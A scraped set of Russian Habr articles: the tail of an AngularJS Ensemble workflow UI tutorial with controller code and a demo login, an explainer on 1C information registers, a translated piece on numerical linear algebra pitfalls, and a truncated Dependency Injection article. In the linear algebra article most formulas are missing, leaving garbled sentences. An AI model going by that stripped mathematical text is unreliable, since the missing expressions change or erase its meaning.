return $window.document.getElementById('tasksTable').getElementsByTagName('TR').length - 2;
};
// if AssignedTo matches with current user - return 'true'
$scope.page.isAssigned = function(selected) {
if (selected) {
if (selected.AssignedTo.toLowerCase() === $cookies['User'].toLowerCase())
return true;
}
return false;
};
// watching for changes in 'Search' input
// if there is change, reset the selection.
$scope.$watch('query', function() {
if ($scope.page.grid.selected) {
$scope.page.select($scope.page.grid.selected);
}
});
/* modal window open */
$scope.page.modalOpen = function (size, id) {
// if no id - nothing to do
if (!id) return;
// obtainig the full object by id. If ok - open modal.
WorklistSrvc.get(id).then(
function(data) {
// see http://angular-ui.github.io/bootstrap/ for more options
var modalInstance = $modal.open({
templateUrl: 'partials/task.csp',
controller: 'TaskCtrl',
size: size,
backdrop: true,
resolve: {
task : function() { return data; },
submit: function() { return $scope.page.submit }
}
});
// onResult
modalInstance.result.then(
function (reason) {
if (reason === 'save') {
$scope.page.addAlert( {type: 'success', msg: 'Task saved'} );
}
},
function () {});
},
function(data, status, headers, config) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
});
};
/* User's validity checking. */
// If we get the data for other user, logout immediately
$scope.page.checkUserValidity = function() {
var user = $cookies['User'];
for (var i = 0; i < $scope.page.grid.items.length; i++) {
if ($scope.page.grid.items[i].AssignedTo && (user.toLowerCase() !== $scope.page.grid.items[i].AssignedTo.toLowerCase())) {
return false;
}
else if ($scope.page.grid.items[i].AssignedTo && (user.toLowerCase() == $scope.page.grid.items[i].AssignedTo.toLowerCase())) {
return true;
}
}
return true;
};
// Check user's validity every 10 minutes.
setInterval(function() { $scope.page.dataInit() }, 600000);
/* Initialize */
// sort table (by Age, asc)
// to change sorting column change 'columns[]'
$scope.page.sort($scope.page.grid.columns[7].property, true);
$scope.page.dataInit();
}
// resolving minification problems
TasksGridCtrl.$inject = ['$scope', '$window', '$modal', '$cookies', 'WorklistSrvc'];
controllersModule.controller('TasksGridCtrl', TasksGridCtrl);
```
*TaskCtrl* — контроллер модального окна, содержащего подробную информацию о задаче. Формирует список полей и действий пользователя, а также обрабатывает нажатия кнопок модального окна.
**TaskCtrl.js**
```
'use strict';
// Task controller
// dependency injection
function TaskCtrl($scope, $routeParams, $location, $modalInstance, WorklistSrvc, task, submit) {
$scope.page = { task:{} };
$scope.page.task = task;
$scope.page.actions = "";
$scope.page.formFields = "";
$scope.page.formValues = task.Task['%FormValues'];
if (task.Task['%TaskStatus'].Request['%Actions']) {
$scope.page.actions = task.Task['%TaskStatus'].Request['%Actions'].split(',');
}
if (task.Task['%TaskStatus'].Request['%FormFields']) {
$scope.page.formFields = task.Task['%TaskStatus'].Request['%FormFields'].split(',');
}
// dismiss modal
$scope.page.cancel = function () {
$modalInstance.dismiss('cancel');
};
// perform a specified action
$scope.page.doAction = function(action) {
$scope.page.task.Task["%Action"] = action;
$scope.page.task.Task['%FormValues'] = $scope.page.formValues;
submit($scope.page.task);
$modalInstance.close(action);
}
}
// resolving minification problems
TaskCtrl.$inject = ['$scope', '$routeParams', '$location', '$modalInstance', 'WorklistSrvc', 'task', 'submit'];
controllersModule.controller('TaskCtrl', TaskCtrl);
```
*app.js* — файл, содержащий все модули приложения.
**app.js**
```
'use strict';
/*
Adding routes(when).
[route], {[template path for ng-view], [controller for this template]}
otherwise
Set default route.
$routeParams.id - :id parameter.
*/
var servicesModule = angular.module('servicesModule',[]);
var controllersModule = angular.module('controllersModule', []);
var app = angular.module('app', ['ngRoute', 'ngCookies', 'ui.bootstrap', 'servicesModule', 'controllersModule']);
app.config([ '$routeProvider', function( $routeProvider ) {
$routeProvider.when( '/tasks', {templateUrl: 'partials/tasks.csp'} );
$routeProvider.when( '/tasks/:id', {templateUrl: 'partials/task.csp', controller: 'TaskCtrl'} );
$routeProvider.otherwise( {redirectTo: '/tasks'} );
}]);
```
*index.csp* — главная страница приложения.
**index.csp**
```
Ensemble Workflow
// REST web-app name, global variable
var RESTWebApp = {appName: '#($GET(^Settings("WF", "WebAppName")))#'};
[Ensemble Workflow](#)
Refresh Worklist
Search
Sign In
Logout,
Loading
{{alert.msg}}
Please, Log In first.
```
*tasks.csp* — шаблон таблицы списка задач.
**tasks.csp**
```
| # |
| Action |
| --- | --- | --- |
| There is no task(s) for current user.
Showing {{page.totalCnt()}} of {{page.grid.items.length}} task(s).
|
| | New
|
|
```
*task.csp* — шаблон модального окна.
**task.csp**
```
### Task description
Subject
Time created
Message
Role
Assigned to
Priority
Save
Cancel
```
Также, никто не запрещает использовать наш REST API для своего UI, тем более он довольно прост.
**URL map нашего REST API**
```
```
Вы можете опробовать пользовательский интерфейс [на нашем тестовом сервере](http://37.139.6.217:57772/ewui/index.csp#/tasks), на котором запущено приложение HelpDesk. Login: dev / Pass: 123 | https://habr.com/ru/post/251611/ | null | ru | null |
# Регистры сведений 1С. Универсальная «палочка-выручалочка» разработчика
Основная трудность, с которой сталкиваются начинающие изучать 1С, заключается в том, что быстро разобраться что здесь к чему очень сложно. В платформе 1С:Предприятие вводится целый ряд оригинальных понятий. Объяснений этих понятий во встроенной справке, на сайте 1С и на прочих ресурсах много, но они мало что проясняют даже искушенному в ИТ. Здесь я расскажу об одном важном понятии в 1С. Простыми словами и со смыслом.
Определение
-----------
Приведу для начала две цитаты.
> Основная задача регистра сведений - хранить существенную для прикладной задачи информацию, состав которой развернут по определенной комбинации значений и, при необходимости, развернут во времени.
>
>
Это из встроенной справки. Ее еще называют синтакс-помощник. Слова тут простые, но если смотреть свежим взглядом, лишены какого-либо смысла. Есть регистр, который хранит существенную информацию? А что, есть регистр, который хранит чепуху? Что означает "развернутость" информации? Она была "свернута", а потом "развернулась"? Хотелось бы понять детали этого процесса!
> Регистры сведений — это [прикладные объекты конфигурации](https://v8.1c.ru/platforma/obekty-konfiguracii/). Они позволяют хранить в прикладном решении произвольные данные в разрезе нескольких измерений.
>
>
А это с сайта 1С <https://v8.1c.ru/platforma/registr-svedeniy/> Как можно что-то "хранить в разрезе"? Что тут "режется" и зачем?
Мое определение понятия "регистр сведений" звучит так.
*Регистр сведений - это полный аналог таблицы базы данных.*
Для тех, кто хоть немного знаком с базами данных, будет достаточно следующего дополнения.
*В отличие от прочих объектов 1С:Предприятие, в регистре сведений есть возможность управлять первичным ключом.*
Для тех, кто не знаком с теорией баз данных поясню, по возможности коротко и просто.
Большинство современных баз данных называются реляционными, потому что они состоят из таблиц. Так или иначе, все имели дело с таблицами. Таблица - это множество однотипных строк, и множество колонок. Как добраться до колонки понятно. Надо назвать ее по имени. А как добраться до конкретной строки в таблице? Для этого нам потребуется т.н. ключ. В самом простом случае ключом для конкретной строки является значение в одной из колонок.
В этой таблице ключи находятся в колонке "Идентификатор". Для того, чтобы однозначно определять строку по ключу, каждое значения ключа должно быть уникальным в пределах таблицы. Какой-бы большой не была таблица, поиск по ключу происходит очень быстро, потому что ключи особым образом компонуются в структуру под названием *индекс*.
При проектировании почти в любой базы данных так или иначе возникает ситуация, когда требуется создать таблицу, в которой значения ключей будут храниться не в одной колонке, а в нескольких. Например, у нас есть таблица товаров и таблица складов. Мы хотим создать таблицу, в которой будут отображаться цены товаров на складах.
Регистр сведений в платформе 1С:Предприятие позволяет явным образом указать ключ (его еще называют первичный ключ). Этим он и отличается от всех прочих объектов. Для них первичные ключи создаются автоматически и не подлежат изменению.
Можно сказать, что регистр сведений самый универсальный инструмент среди всех прочих в 1С. Посмотрим, что можно делать с ним.
Регистр сведений со множеством измерений
----------------------------------------
Измерение - это еще один термин родившийся в недрах 1С. Для регистра сведений измерение ни что иное, как часть ключа. Соответственно, множество измерений регистра сведений задает первичный ключ. Измерения есть и в других объектах платформы 1С:Предприятие (*регистры накопления, регистры бухгалтерии, регистры расчетов*), но там они обозначают нечто принципиально иное, на чем мы сейчас останавливаться не будем.
Такие объекты платформы, как *справочник* или *документ* создаются с предопределенным первичным ключом. Этот первичный ключ состоит из одного поля. В 1С его называют *ссылкой*. Если же нам требуется составной первичный ключ, тогда мы используем регистр сведений.
Один пример я уже дал выше. Еще несколько примеров:
* цены товаров у поставщиков;
* подразделение и занимаемая должность работника;
* место хранения товара на складе;
* настройки заполнения банковских выписок;
* график работы сотрудника.
Регистр сведений с одним измерением
-----------------------------------
Такое встречается довольно часто, в том числе и в типовых конфигурациях. Тут надо понимать, что регистр сведений в этом случае не заменяет *справочник*, у которого тоже всего одно "измерение". Отличие тут принципиальное. "Измерение" *справочника*, которое в 1С называют *ссылкой,* заполняется автоматически при создании новых записей. В то время как в регистре сведений измерения заполняются либо пользователем, либо программно, но во втором случае нужны усилия разработчика. Обычно в качестве единственного измерения регистра сведений указывают ссылку на запись в справочнике или ссылку на документ. Далее в разделе *ресурсы* или *реквизиты* (разница между ресурсами и реквизитами в регистре сведений исчезающе мала и мы не будем ее здесь обсуждать)вводят некоторое количество полей. Таким образом получается, что у справочника или документа появились новые поля. Мы как будто расширили справочник или документ.
Конечно, такая практика приводит к некоторой путанице. Открываешь справочник(документ) в режиме пользователя, вот он реквизит. Можно редактировать. Открываешь справочник(документ) в Конфигураторе, нет реквизита! Ищи в другом месте. Но есть и плюс, который заключается в том, что исходный справочник(документ) остается в неизменном виде. И если возникает именно такая задача (внести изменения, но не "трогать" исходный справочник или документ), тогда используют регистр сведений с одним измерением.
Регистр сведений без "измерений"
--------------------------------
Можно создать регистр сведений вообще без измерений. Это не будет означать, что у регистра сведений нет ключа вообще и можно вводить сколько угодно записей. Это будет означать, что ключ есть, он представляет собой пустое значение и запись в таблице может быть только одна. В 1С:предприятие есть такой объект, который называется *константа.* Он не имеет ничего общего с тем, что под этим обычно подразумевается. Концептуально, *константа* в 1С - это таблица с одной колонкой и одной строкой. Чисто умозрительно, полезная штука, но на практике - не очень. Эти самые константы надо как-то группировать. Приходится задавать префиксы имен. Имена становятся уродливыми. Регистр сведений без измерений, по сути, представляет собой поименованное множество пар ключ-значение. И это отличная альтернатива *константам*.
Подчинение регистратору
-----------------------
Регистры сведений входят в семейство регистров 1С. По правде сказать, они не совсем полноправные члены этой семьи. Регистры сведений - это универсальный инструмент, в то время как регистры накопления гораздо более специализированы, а уж регистры бухгалтерии и регистры расчетов специализированы очень сильно. Единственное, что обнаруживает родственную связь регистров сведений с прочими регистрами, это то, что записи в регистрах сведений могут создаваться на основании документов. Здесь же, кстати, можно увидеть и отличие регистров сведений от остальных регистров. Во всех прочих регистрах записи создаются ТОЛЬКО на основании документов, а для регистров сведений этот вопрос оставлен на усмотрение разработчика. В принципе, этим пользуются и в типовых и в нетиповых конфигурациях, но лично я не вижу в этом большого смысла. Здесь имеет место скорее некоторая инерция. Разработчики привыкают использовать связку документ-регистр для регистров накопления, а потом переносят эту практику на регистры сведений.
Регистр сведений с измерением типа дата
---------------------------------------
Есть такая довольно часто встречающаяся задача, которая называется "Получить последние значения чего-либо". У нее есть известное решение, укладывающееся в три строки SQL запроса. В 1С-овском диалекте это выглядит так:
```
ВЫБРАТЬ валюта, курс, дата
ИЗ РегистрСведений.КурсыВалют КАК КурсыВалют
ГДЕ дата В (ВЫБРАТЬ МАКСИМУМ(дата) ИЗ КурсыВалют КАК Т ГДЕ Т.Валюта = КурсыВалют.Валюта)
```
Чтобы избавить разработчиков от необходимости вспоминать это решение, в 1С решили сделать так. Регистры сведений, у которых в составе первичного ключа есть дата, были объявлены особенным подвидом и названы периодическими регистрами сведений. У этих периодических регистров сведений появились виртуальные таблицы под названием *срез последних*. При обращении к этим таблицам происходит выполнение запроса, являющегося аналогом того, что я указал выше. Там, правда, действует странное ограничение. Получить последние значения вы можете только по полному списку измерений. Это противоречит опыту, который разработчики получают при взаимодействии с регистрами накопления. Обращение к виртуальной таблице оборотов регистра накопления возможно по любому подмножеству измерений. Но в целом, периодические регистры сведений - это полезный инструмент. Хотя, в последнее время, с появлением версионирования и истории версий, он несколько утратил свое значение.
Заключение
----------
Сильная сторона 1С в том, что можно не знать многие вещи, например, о базах данных. И при этом создавать работоспособные приложения. В большинстве случаев, вам не требуется знать или помнить в деталях для чего нужны первичные ключи и как они работают. Система все сделает за вас. Но когда вам потребуется сделать что-то из области универсального, тогда начальные знания о том, как это работает, все-таки будут нелишними.
В заключение хочу порекомендовать [бесплатный вебинар](https://otus.pw/7MTE/) от OTUS, где преподаватели покажут как решаются задачи проектирования объектов метаданных различных конфигураций, для решения практических задач бизнеса.
* [Подробнее о бесплатном вебинаре](https://otus.pw/7MTE/) | https://habr.com/ru/post/714712/ | null | ru | null |
# Семь грехов численной линейной алгебры
[](https://habr.com/ru/company/skillfactory/blog/693330/)
В численной линейной алгебре нас интересуют точное и эффективное решение задач и понимание чувствительности задач к возмущениям. К старту [флагманского курса по Data Science](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_211022&utm_term=lead) делимся материалом от профессора Ника Хигэма о семи грехах линейной алгебры, из-за которых теряется точность/эффективность или информация о чувствительности [к возмущениям] оказывается недостоверной.
1. Обращение матрицы
--------------------
На курсе линейной алгебры мы узнаём, что решение линейной системы, состоящей из  уравнений, содержащих  неизвестных, можно записать в виде , где  — обратная матрица. При этом не всегда подчёркивается, что случаев, когда следует вычислять , очень мало. На самом деле, () скалярную систему  нельзя решить, вычислив . Вместо этого лучше выполнить деление  [прим. ред. — мы помним, что 7 в минус первой степени — это одна седьмая единицы, и, конечно, помним о свойствах умножения и деления дробей. Возможно, здесь имеется в виду разница в подходе к вычислениям в контексте вычислительной машины]. В случае  быстрее и точнее будет решение линейной системы (методом Гаусса) путём выбора ведущего элемента столбца, а не обращения , которое в любом случае потребует LU-разложения матрицы).
Случаи, когда требуется использовать , редки, но возможны, когда диагональные элементы обратной ковариационной матрицы являются значимыми величинами, а также в некоторых алгоритмах вычисления матричных функций.
2. Формирование перекрёстного произведения матриц $A^TA$
--------------------------------------------------------
Решение линейной задачи наименьших квадратов , где  — матрица полного ранга , где  удовлетворяет нормальным уравнениям . Поэтому естественно сформировать симметричную положительно определённую матрицу  и решить нормальные уравнения с помощью разложения Холецкого. Хотя этот метод быстрый, он численно неустойчив при слабообусловленной . В противоположность этому решение задачи наименьших квадратов с разложением QR матрицы всегда численно устойчиво.
Что не так с перекрёстным произведением матриц  (известным как матрица Грама)? Она возводит данные в квадрат, что может привести к потере информации в арифметике с плавающей точкой. Например, при
где  — единичная ошибка округления для плавающей запятой, то
является положительно определённой, но, так как  в арифметике с плавающей точкой  округляется до , получается вырожденная
,
при этом информация в  потеряна.
Другая проблема с перекрёстным произведением матриц заключается в том, что  — нормальное число обусловленности  — является квадратом такового для . Это приводит к численной нестабильности алгоритмов, которые работают с , если число обусловленности велико.
3. Неэффективный порядок действий при определении произведения матриц
---------------------------------------------------------------------
Число действий при определении произведения матриц зависит от порядка его определения (если принять, что не все матрицы ). Иными словами, умножение матриц ассоциативно, поэтому . В общем случае число действий при определении произведения матриц зависит от того, где поставить скобки. Один порядок может быть намного лучше других, поэтому не следует просто оценивать произведение в фиксированном порядке слева направо или справа налево. Например, если ,  и  —  — векторы, то  можно определить так:
* : внешнее произведение векторов с последующим матрично-векторным произведением, которое требует  операций, а
* : скалярное произведение векторов с последующим масштабированием вектора требует всего  действий.
Словом, определение места скобок в матричном произведении  для минимизации числа действий — это [сложная задача](https://doi.org/10.1137/18M1195401), но для многих случаев на практике хороший порядок определить легко.
4. Предположение, что матрица является положительно определённой
----------------------------------------------------------------
Симметричные положительно определённые матрицы (симметричные матрицы с положительными собственными значениями) широко распространены, в том числе, потому, что они возникают при решении многих задач минимизации. Однако матрица, которая должна быть положительно определённой, может не быть таковой по целому ряду причин. Отсутствие или несоответствие данных при формировании ковариационной или корреляционной матрицы может привести к потере определённости, а ошибки округления могут сделать крошечное положительное собственное значение отрицательным.
Определённость подразумевает, что:
* диагональные элементы матрицы положительны;
* ;
*  для всех .
Тем не менее ни одно из этих условий, равно как и все условия в совокупности, не может гарантировать, что матрица имеет положительные собственные значения.
Лучший способ проверить определённость, который зачастую может потребоваться сам по себе — рассчёт разложения Холецкого. функция MATLAB `chol` возвращает сообщение об ошибке, если разложение не удалось. При этом может быть запрошен второй выходной аргумент, в этом случае ему задаётся номер этапа, на котором случилась неудача факторизации, или `0`, если факторизация прошла успешно. В случае неудачи частично вычисленный фактор  возвращается в первом аргументе, и его можно использовать, например, для вычисления направления отрицательной кривизны, как это необходимо для оптимизации.
Этот грех занимает первое место в «Семи грехах оптимизации портфеля» [(Seven Sins in Portfolio Optimization)](https://arxiv.org/abs/1310.3396) Шмельцера и Хаузера, поскольку в этом случае отрицательное собственное значение в ковариационной матрице может определять портфель с отрицательной дисперсией, обещая при этом условно высокие инвестиции без риска!
5. Неиспользование структуры матрицы
------------------------------------
Один из фундаментальных постулатов численной линейной алгебры заключается в необходимости использовать любую структуру матрицы. Особенно важно использовать разреженность (матрица с большим количеством нулей), поскольку алгоритмы, предназначенные для плотных матриц, могут оказаться непрактичными для разреженных матриц из-за обширного заполнения (нули становятся ненулевыми). Вот два примера структур, которые можно использовать.
Для задач нахождения седловой точки матрицы являются симметрично неопределёнными и имеют вид:
где  является симметричной положительно определённой. Разработка числовых методов для решения  с использовании блочной структуры и возможной разреженности  и  оказалась весьма трудоёмкой задачей. Ещё один пример — циркулянтная матрица:
Важное свойство [циркулянтных матриц](https://nhigham.com/2022/09/27/what-is-a-circulant-matrix/) — диагонализируемость унитарной матрицей дискретного преобразования Фурье. При помощи этого свойства  можно решить за , а не  операций, что потребовалось бы при игнорировании циркулянтной структуры.
В идеале программное обеспечение линейной алгебры должно обнаруживать структуру в матрице и вызывать алгоритм, использующий эту структуру. Ярким примером такого мета-алгоритма в MATLAB является функция `x = A\b` с обратным слешем для решения . Функция с обратным слешем проверяет, является ли данная матрица треугольной (или преобразованной треугольной) матрицей, верхней матрицей Хессенберга, симметричной или симметричной положительно определённой. После такой проверки применяется подходящий метод. При этом  также может быть прямоугольной. При этом задача наименьших квадратов решается, если строк больше, чем столбцов, или недоопределённая система, если столбцов больше, чем строк.
6. Определение приближения вырожденности с помощью определителя
---------------------------------------------------------------
 матрица  является невырожденной только при ненулевом детерминанте. Поэтому можно ожидать, что малое значение  указывает на почти вырожденную матрицу. Однако размер  ничего не говорит о вырожденности. Действительно, поскольку , мы можем получить любое значение определителя, умножив его на скаляр , однако  имеет приближение вырожденности не больше и не меньше, чем  для .
Ещё одно ограничение для определителя показано на примере двух матриц:
В обеих матрицах есть единично диагональные и внедиагональные элементы, ограниченные по модулю . Поэтому , но
Таким образом,  является слабообусловленной для большого множества . Фактически при изменении элемента  матрицы  до  матрица становится вырожденной! В противоположность этому  всегда хорошо обусловлена. Определитель не позволяет отличить слабообусловленную  от хорошо обусловленной .
7. Определение обусловленности при помощи собственных значений
--------------------------------------------------------------
Для любой  матрицы  и любой нормы согласованной матрицы справедливо, что  для всех , где  являются собственными значениями . Поскольку собственные значения  — это , число обусловленности матрицы  ограничено снизу отношением наибольшего собственному значению к наименьшему по абсолютной величине, т. е.:
Но, как показала матрица  в (1), эта связь может быть очень слабой.
Число обусловленности характеризует вырожденные, а *не* собственные значения 2-нормальной матрицы. В частности
где  — сингулярное разложение матрицы с  и  ортогональностью и , . Если  симметрична, то, например, множества  и  идентичны, но в целом собственные  и вырожденные  значения могут заметно различаться.
А мы разобраться с математикой, чтобы вы прокачали карьеру или стали востребованным IT-специалистом:
* [Профессия Data Scientist (24 месяца)](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_211022&utm_term=conc)
* [Профессия Data Analyst (12 месяцев)](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_211022&utm_term=conc)
Чтобы посмотреть все курсы, кликните по баннеру:
[](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_211022&utm_term=banner)
**Краткий каталог курсов**
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_211022&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_211022&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_211022&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_211022&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_211022&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_211022&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_211022&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_211022&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_211022&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_211022&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_211022&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_211022&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_211022&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_211022&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_211022&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_211022&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_211022&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_211022&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_211022&utm_term=cat)
* [Профессия «Белый хакер»](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_211022&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_211022&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_211022&utm_term=cat) | https://habr.com/ru/post/693330/ | null | ru | null |
# Dependency Injection в мире Software Engineering
Если полноценно рассматривать Dependency Injection, то вокруг этого термина крутится множество интересных инженерных практик. Несмотря на то, что эта статья про конкретный подход к написанию кода, она будет интересна широкому кругу разработчиков. Я постарался провести глубокий анализ существующих около Dependency Injection (DI) принципов разработки и хочу поделиться исследованием с сообществом.
Для тех, кто не знаком с DI, кратко расскажу о нём в следующем разделе. Остальные могут пропустить первую часть и [сразу перейти к сути](#main). Добро пожаловать в увлекательный мир [Software Engineering](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D0%B6%D0%B5%D0%BD%D0%B5%D1%80%D0%B8%D1%8F)!
Что такое DI
------------
В общем случае, когда мы открываем проект, в котором повсеместно используется Dependency Injection, то видим такой контроллер:
```
namespace Controller;
class OrderInfo
{
private IOrders $orders;
public function __construct(IOrder $orders)
{
$this->orders = $orders;
}
public function get()
{
$productDescription = $this->orders->getInformation();
// здесь идёт некоторый код и вызов view
}
}
```
Вы спросите меня: «Здесь есть вызов метода getInformation(), но где создаётся объект Order?». Чтобы найти ответ, достаточно посмотреть особый файл. Здесь и ниже буду использовать Symfony DI и конфигурационный файл в yml-нотации.
```
\Controller\OrderInfo:
arguments:
- \Service\Order
\Service\Order:
arguments:
- \Model\Product
\Model\Product: ~
```
В нём описываются все классы системы, а также связи между ними. Более того, теперь всем нашим объектам будут автоматически прокидываться необходимые сущности, и сейчас у нас нет нужды ни создавать их, ни владеть знанием об аргументах, которые обязательны для их создания. Почему так и какие плюсы с минусами мы из этого получаем, расскажу в следующих разделах. На этом краткое погружение заканчиваю и перехожу к основной сути статьи.
О чём пойдёт речь
-----------------
Когда меня спрашивают про Dependency Injection, мне представляется следующая схема разных инженерных подходов и принципов разработки. В статье мы рассмотрим каждый из них по отдельности и пойдём от простого к сложному:
Над большим приложением обычно работает много сотрудников, поэтому в нём неизбежно происходят постоянные изменения. Постоянно внося правки в конечный продукт, важно не выстрелить себе в ногу.
Когда мы решаем крупные задачи, то стараемся разделять их на части поменьше, и тут возникает резонный вопрос: откуда взять критерии качества и то самое решение? Первая логичная идея — это воспользоваться интуицией.
Интуиция — это хорошо. За ней стоит опыт и багаж знаний, который мы накопили. Но, следуя только интуиции, мы рискуем ошибиться в принятии решения. Мы можем десять раз сделать всё верно, а на одиннадцатый совершим ошибку, потому что не опирались на понятные и осязаемые критерии.
Ошибка может быть фатальной с точки зрения проектирования или выработанной архитектуры для решения задачи. Поэтому моя цель — рассказать о разных подходах. Так, если рассмотреть понятие Dependency Injection, то существует большая путаница в терминах, которые я постараюсь выстроить в единую концепцию.
Low Coupling
------------
На мой взгляд, одним из важных и глобальных подходов является Low Coupling или слабая связанность. Все остальные принципы, о которых пойдёт речь, по сути, его переиспользуют.
Слабая связанность, если провести аналогию с реальной жизнью, — это как птицы и двигатель самолета. Они несовместимы, потому что если птица попадёт в двигатель, ничем хорошим это не закончится. Их нужно разделять.
В разработке то же самое: разные вещи надо держать в стороне друг от друга, чтобы с ними было проще работать. Классический пример слабой связанности — это паттерн MVC, где есть три компонента, на которые делятся все программные модули:
Слабая связанность здесь выражена в том, что можно выбросить один или два компонента из системы и написать новую реализацию, оставив остальные части без изменений. Чтобы это работало, связь между компонентами должна быть минимальной. Если они мало друг с другом коммуницируют или есть известный протокол общения, то разработчику легко переиспользовать уже сделанное, чтобы система продолжала работать с минимальными изменениями и потерями в будущем.
Например, мы пилим монолит на микросервисы. Если связанность между компонентами слабая, пилить будет легко. Если же всё спутано и закрепощено, то задача будет двигаться очень медленно и не так перспективно, как хотелось бы.
Шаблон Low Coupling был описан Крэгом Ларманом в книге [«Применение UML 2.0 и шаблонов проектирования»](https://www.ozon.ru/product/primenenie-uml-2-0-i-shablonov-proektirovaniya-151531696/?stat=YW5fMQ%3D%3D). В книге автор сначала задаёт вопрос с проблемой и дальше даёт ответ, как можно её решить. Для Low Coupling это вопрос о том, как уменьшить влияние вносимых изменений на другие объекты. Ответ — минимизировать степень связанности между объектами в процессе распределения обязанностей. Получается, связанность про то, что два компонента или класса имеют связь друг с другом, то есть общаются, вызывают методы, выполняют действия и так далее. Сами эти классы обладают обязанностями, то есть знанием о чём-либо и/или действием (взаимодействием).
Плохой случай, когда мы нарушаем шаблон Low Coupling, выглядит примерно так:
```
class Order
{
public function __construct(IDB $db, IDiscount $discount)
{
$this->db = $db;
$this->discount = $discount;
}
public function calculate()
{
// ...
$product = new Product();
// ...
$promo = new Promo();
// ...
$warehouse = new Warehouse();
// ...
$email = new Notification();
// ...
}
}
```
К примеру, мы пишем интернет-магазин, и у нас есть класс «заказ». Здесь плохо то, что класс Order связан с большим количеством разных сущностей: есть и получение классов через конструктор и создание объектов внутри себя. Отвязать Order от всех этих взаимоотношений будет сложно. Система очень закрепощена, связь между компонентами тягучая и сложная.
Чтобы реализация была слабо связанной, а программные модули — легко переиспользуемыми, можно сделать следующее:
```
class Order
{
public function __construct(
IProductCollection $productCollection,
IDiscount $discount
) {
$this->productCollection = $productCollection;
$this->discount = $discount;
}
public function calculate()
{
// ...
$promo = new Promo();
// ...
}
}
```
Здесь количество связей меньше за счёт того, что мы создаём дополнительные абстракции, которые переносят работу в другие прослойки. В прошлом примере мы создавали продукт, соединялись с базой данных, использовали класс для работы со скидками. А теперь всё это начинают делать другие сущности, которые в ответе дают простую коллекцию с продуктами и передают её в класс Order.
Low Coupling экономит время и усилия, уменьшая количество ошибок при модификации проекта. В тот момент, когда мы хотим что-то изменить, необходимо каждый раз вспоминать про Low Coupling и думать, сколько связей есть в классе. Достаточно просто иметь эту метрику в голове.
